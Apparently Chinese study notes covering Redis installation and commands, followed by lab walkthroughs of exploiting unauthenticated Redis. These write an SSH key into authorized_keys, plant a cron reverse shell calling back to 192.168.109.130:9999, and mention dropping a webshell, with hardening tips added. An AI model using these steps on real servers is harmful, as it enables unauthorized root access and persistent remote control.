1.Redis数据库的介绍
2.Windows下部署Redis数据库
借助工具phpstudy
redisClient是图形界面 更多是辅助理解 主要还是命令操作
在以下的目录中执行cmd即可对redis数据库进行操作
D:\applications\phpstudy\Extensions\redis3.0.504
bind是绑定自己的ip
timeout是响应的最大超时时间
maxclients是最多支持的访问人数
database是默认的数据库的个数
maxmemory是最大使用的内存
3.命令操作
redis-cli -h 127.0.0.1 //连接数据库
ping //回应pong说明成功
select 0 //选择第0个数据库 相当于点击以下db0
select [数字] //选择哪个数据库
redis-cli -h [远程数据库的地址] -p 6379
quit //退出
PS:如何让别人可以远程连接到自己的redis数据库
1.防火墙开放端口6379或者直接关闭防火墙
2.在redis.windows.conf中进行bind
4.数据库操作
键值对,键不能重复
基本设置值
flushall //清空所有数据
set name1 yingge1 //添加键值对
get name1 //获得数据
set name2 yingge2 EX 5 //设置5s后失效的键值对
setex name2 5 yingge2 //设置5s后失效的键值对
ttl name2 //获得他的生命周期
mset key1 value11 key2 value22 //同时设置多个键值对
mget key1 key2 //同时获得多个键值对
append name1 zj11 //在name1的值后面增加zj11(拼接效果)
键命令
keys [正则表达式]
keys * //取出所有的键
keys ke* //取出所有以ke开头的键
keys name[0-3] //取出name0-3的键
exists name2 //判断name2键是否存在 返回1表示存在 返回2表示不存在
del name3 //删除某一个键
expire name2 5 //设置键几秒过期
hash类型
设置hash类型
hset xiaoming height 180
hset xiaoming weight 60kg
hset xiaoming age 18
hget xiaoming height //获得hash值
hget xiaoming age
hget xiaoming weight
hgetall xiaoming //获得hash下所有的键值对
hmset xiaohong id 3 weight 220kg height 190 //同时设置多个值的hash
hkeys xiaohong //获得hash下所有的key
hlen xiaohong 查看里面有多少个值 判断有多少个key
hvals xiaohong //查看hash下所有的value
hmget xiaohong id weight //提取hash特定的key的值
hdel xiaohong id height //删除hash下特定的键值对
del xiaohong //彻底删除某个hash值
list类型
如果lpush是从下往上累加东西(数据添加在最上层),其他运算就是从上往下进行操作
lpush list1 a1 a2 a3 a4 a5 a6 a7 a8 a9 //从左往右依次插入数据,此时第0个元素a1 在积木的最上层添加数据
rpush list2 a1 a2 a3 a4 a5 a6 a7 a8 a9 //从右往左依次插入数据,此时第0个元素a9 在积木的最下层添加数据
lrange list1 0 3 //从上往下取4个 从第0个开始取到第3个
lrange list1 0 -1 //取出所有内容
lset list1 2 b3 //取出从上往下的第3个并且值修改为b3
lrem [列表] [计数] [值]
如果计数>0,从头到尾搜索值并且删除对应的个数
如果计数<0,从尾到头搜索值并且删除对应的个数
如果计数=0,就删除所有的对应的值
lrem list2 0 a3 //删除所有的a3
lindex list3 [数字] //查看列表中第几个元素
llen list3 //查看列表中有多少个值
set类型
无序集合,元素唯一,不重复,没有修改操作
sadd s1 member1 member2 member3 //新建一个set值
smembers s1 //获取s1里所有值
scard s1 //获取s1里有多少个元素
srem s1 member2 //删除set中的值
sinter s1 s2 //取出交集
sunion s1 s2 //取并集
sdiff s1 s2 //取差集
zset类型
有序集合,元素唯一,不重复,没有修改操作
每个元素关联一个score,也就是权重,从小到大权重排序
zadd zs1 4 xiaoming 5 xiaohong 2 xiaogang //添加元素和对应的权重
zrange zs1 0 -1 //查看元素排序 从小到大往下
zrange zs1 0 1 //查看排名前两个的相应元素
zrangebyscore zs1 4 5 //取权重4-5之间的值
zrem zs1 xiaogang //删除zset中的值
Linux下redis服务器的部署安装(Kali为例)
wget http://download.redis.io/releases/redis-4.0.9.tar.gz
//wget http://download.redis.io/redis-stable.tar.gz
tar zxvf redis-4.0.9.tar.gz
mv ./redis-4.0.9 /usr/local/redis
apt install make
make test
//apt install gcc
//make MALLOC=libc
//apt install tcl
make install
cd /usr/local/bin/
ls
ls -all
mkdir /etc/redis
cp /usr/local/redis/redis.conf /etc/redis/
cd /etc/redis
ls
nano redis.conf
bind 192.168.109.130
port 6379
daemonize yes
pidfile /var/run.redis_6379.pid
dbfilename dump.rdb
ctrl+x保存退出即可
redis-server /etc/redis/redis.conf
ps aux | grep redis
redis-cli -h 192.168.189.130
ping
set name1 haha123
get name1
save
exit
ls
cat dump.rdb
centos安装redis数据库
yum install -y gcc
wget http://download.redis.io/releases/redis-5.0.3.tar.gz #centos默认下载在了/root下 可以pwd查看目录
tar -zxvf redis-5.0.3.tar.gz
cd redis-5.0.3
make
make install PREFIX=/usr/local/redis
前台启动服务:
cd /usr/local/redis/bin/
./redis-server
后台启动服务:
从 redis 的源码目录中复制 redis.conf 到 redis 的安装目录
cp /root/redis-5.0.3/redis.conf /usr/local/redis/bin/
修改 redis.conf 文件,把 daemonize no 改为 daemonize yes
cd /usr/local/redis/bin/
vi redis.conf
#daemonize yes
开始后台启动
./redis-server redis.conf
设置开启启动:
vi /etc/systemd/system/redis.service
复制粘贴如下内容
[Unit]
Description=redis-server
After=network.target
[Service]
Type=forking
ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/bin/redis.conf
PrivateTmp=true
[Install]
WantedBy=multi-user.target
systemctl daemon-reload
systemctl start redis.service
systemctl enable redis.service
创建redis命令软链接
ln -s /usr/local/redis/bin/redis-cli /usr/bin/redis
接下来直接redis就可以进入redis数据库了
服务操作命令:
systemctl start redis.service #启动redis服务
systemctl stop redis.service #停止redis服务
systemctl restart redis.service #重新启动服务
systemctl status redis.service #查看服务当前状态
systemctl enable redis.service #设置开机自启动
systemctl disable redis.service #停止开机自启动
centos下解决redis-cli命令不存在的方法
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
# 将redis-cli拷贝到/usr/local/bin/下,让redis-cli指令可以在任意目录下直接使用
sudo cp src/redis-cli /usr/local/bin/
Redis增加密码的方式:
nano /etc/redis/redis.conf
requirepass haha123
redis-cli -h 192.168.189.130
shutdown
exit
redis-server /etc/redis/redis.conf
redis-cli -h 192.168.189.130
auth haha123 //第一种输入密码登录的方法
第二种直接登录的方法 远程连接的方法
redis-cli -h 192.168.189.130 -a haha123
----------------
---------------
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略, 如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;
如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
攻击者访问之后,利用Redis自身提供的config命令,可以进行写文件操作
可以成功把自己的SSH公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登陆目标服务器
简单来说,漏洞产生的条件有以下两点:
redis服务绑定在0.0.0.0:6379端口,而且信任了其他IP,导致了Redis服务暴露在公网上
没有设置密码认证,可以免密登陆Redis服务
危害:
导致敏感信息泄露,恶意执行flushall清空所有数据
通过Eval执行Lua代码,通过备份功能往磁盘写入后门文件
如果Redis服务以root身份运行,可以给root用户写入SSH公钥文件,直接通过SSH登陆服务器
Redis如果没有设置密码 或者设置的密码已经被知道了 都可以达到Redis未授权访问写入ssh的目的!
漏洞复现:(redis写ssh免密码登录漏洞)
1.首先搭建漏洞环境 进入redis数据库的配置文件
2.修改相应的策略 去掉IP绑定 允许除本地以外的主机登录redis 同时关闭保护模式 允许远程连接redis (漏洞原理)
3.接下来靶机中开启redis服务即可
redis-server /etc/redis/redis.conf
4.接下来在靶机中创建一个新的目录 用于后期存放ssh公钥
mkdir /root/.ssh
ps:如果存在了就可以不用创建了 ls无法查看 要通过ls -la才能看到是否存在
接下来进入攻击机部分:
1.这里条件原因 使用centos作为攻击机 所以需要先安装redis数据库 centos安装方法这里不多赘述
2.进入攻击机中 生成ssh公钥和私钥 密码设置为空
ssh-keygen -t rsa
ls -la
cd root/.ssh //id_rsa id_rsa.pub known_hosts
3.进入.ssh目录以后 执行如下命令
(echo -e "\n\n"; cat id_rsa.pub;echo -e "\n\n") > key.txt
4.执行如下命令 redis-cli -h后面是靶机的ip地址 -x后面表示执行set 会把cat的内容设置进去 -a适用于redis有密码的情况
cat key.txt | redis-cli -h 192.168.109.130 -a haha123 -x set xxx //-x表示的是执行
5.写入完成 接下来远程登录redis
redis-cli -h 192.168.109.130 -a haha123
6.接下来可以查看刚才输入的键 并且获得相应的值以确定
keys *
get xxx
7.可以通过如下的命令获得redis备份的目录
config get dir
8.更改redis备份路径为ssh公钥存放的目录 一般默认在/root/.ssh
//ssh-keygen -t rsa 如果目标没有ssh 则测试起见可以生成一个
config set dir /root/.ssh
然后设置上传公钥的备份文件名字为 authorized_keys
config set dbfilename authorized_keys
检查是否更改成功 查看有没有authorized_keys文件 没有问题就保存退出 成功写入ssh公钥到靶机
config get dbfilename
save
9.确保靶机开启了ssh服务
10.在攻击机中使用ssh免密码登录靶机
ssh -i id_rsa root@192.168.109.130
原理:将自己的免密码登录的ssh写过去。如果你的redis密码被别人知道的话,别人完全可以写一个这样的东西 redis起到一个文件传输的枢纽作用
之后就可以免密码ssh登录到相应的linux服务器
此时可以进入靶机的目录查看一下.ssh下的文件来理解原理:
这东西本质是备份文件 会明文存储所有数据库中的键值对 所以刚刚设置的xxx的值是我们攻击机的私钥 那么这里更改名字和目录以后
文件内容恰好也就是私钥的内容了 也就无形之中实现了免密码的ssh认证 这样就可以直接免ssh密码实现登录ssh了
防范方法:
1.修改默认的端口
2.设置密码认证
3.尽量以低权限运行Redis服务 这样即使获得了ssh链接也是低权限
4.开启保护模式 绑定IP登录 不允许除本地以外的主机登录redis
Redis安全的部署
1.最好不要用root用户启动redis 可以用专门的用户去启动redis,单独为redis设置一个账号
2.设置本地localhost不允许外部访问
3.保护模式protected-mode开启 默认是开启的
4.端口6379进行修改,不要用默认端口,会被黑客链接
5.设置复杂的密码 也就是复杂的requirepass
--------------
--------------
Redis数据库(3)未授权访问下实现计划任务反弹shell
redis写文件
1.计划任务反弹shell(ubuntu不支持这么做,centOS可以)
(ubuntu中如果计划任务中存在乱码 会导致计划任务执行错误)
(centos会忽略乱码 执行格式正确部分的任务)
这里以kali作为攻击机 centos作为靶机 两者都安装了redis数据库
1.首先设置好环境 方法同未授权访问相同 支持远程且没有密码(密码已知也可行) 关闭保护模式
完全和之前相同的配置设置之后
记得关闭靶机的防火墙 否则无法连接
systemctl stop firewalld
2.从黑客攻击机(192.168.109.130)处进行redis连接靶机(192.168.109.134)
bash -i >& /dev/tcp/192.168.109.130/9999 0>&1 本身就是可以直接上线的命令 只不过借助redis写到了计划任务的位置
redis-cli -h 192.168.109.134
keys *
set haha "\n\n* * * * * bash -i >& /dev/tcp/192.168.109.130/9999 0>&1\n\n"
get haha
config set dir /var/spool/cron/
config set dbfilename root
save
3.靶机设置完计划任务以后 接下来黑客端可以借助nc进行监听
nc -nlvp 9999
为了理解原理不妨进入靶机的目录中查看相应文件内容
cd /var/spool/cron/
ls
cat root
常见计划任务地点 都可以用于把数据库备份伪造到相应的位置
/etc/crontab
/etc/cron.d/
/var/spool/cron/crontabs/ #前提是这个文件夹自己本身就是计划任务才行
2.写入一句话木马
和反弹shell一样的原理。可以在相应的网站的目录下写入一个一句话木马
一句话木马只要存在,即使出现乱码,也是可以执行的
所以可以尝试把一句话木马写入到相应的网站的目录下 这样就可以直接用工具去连接了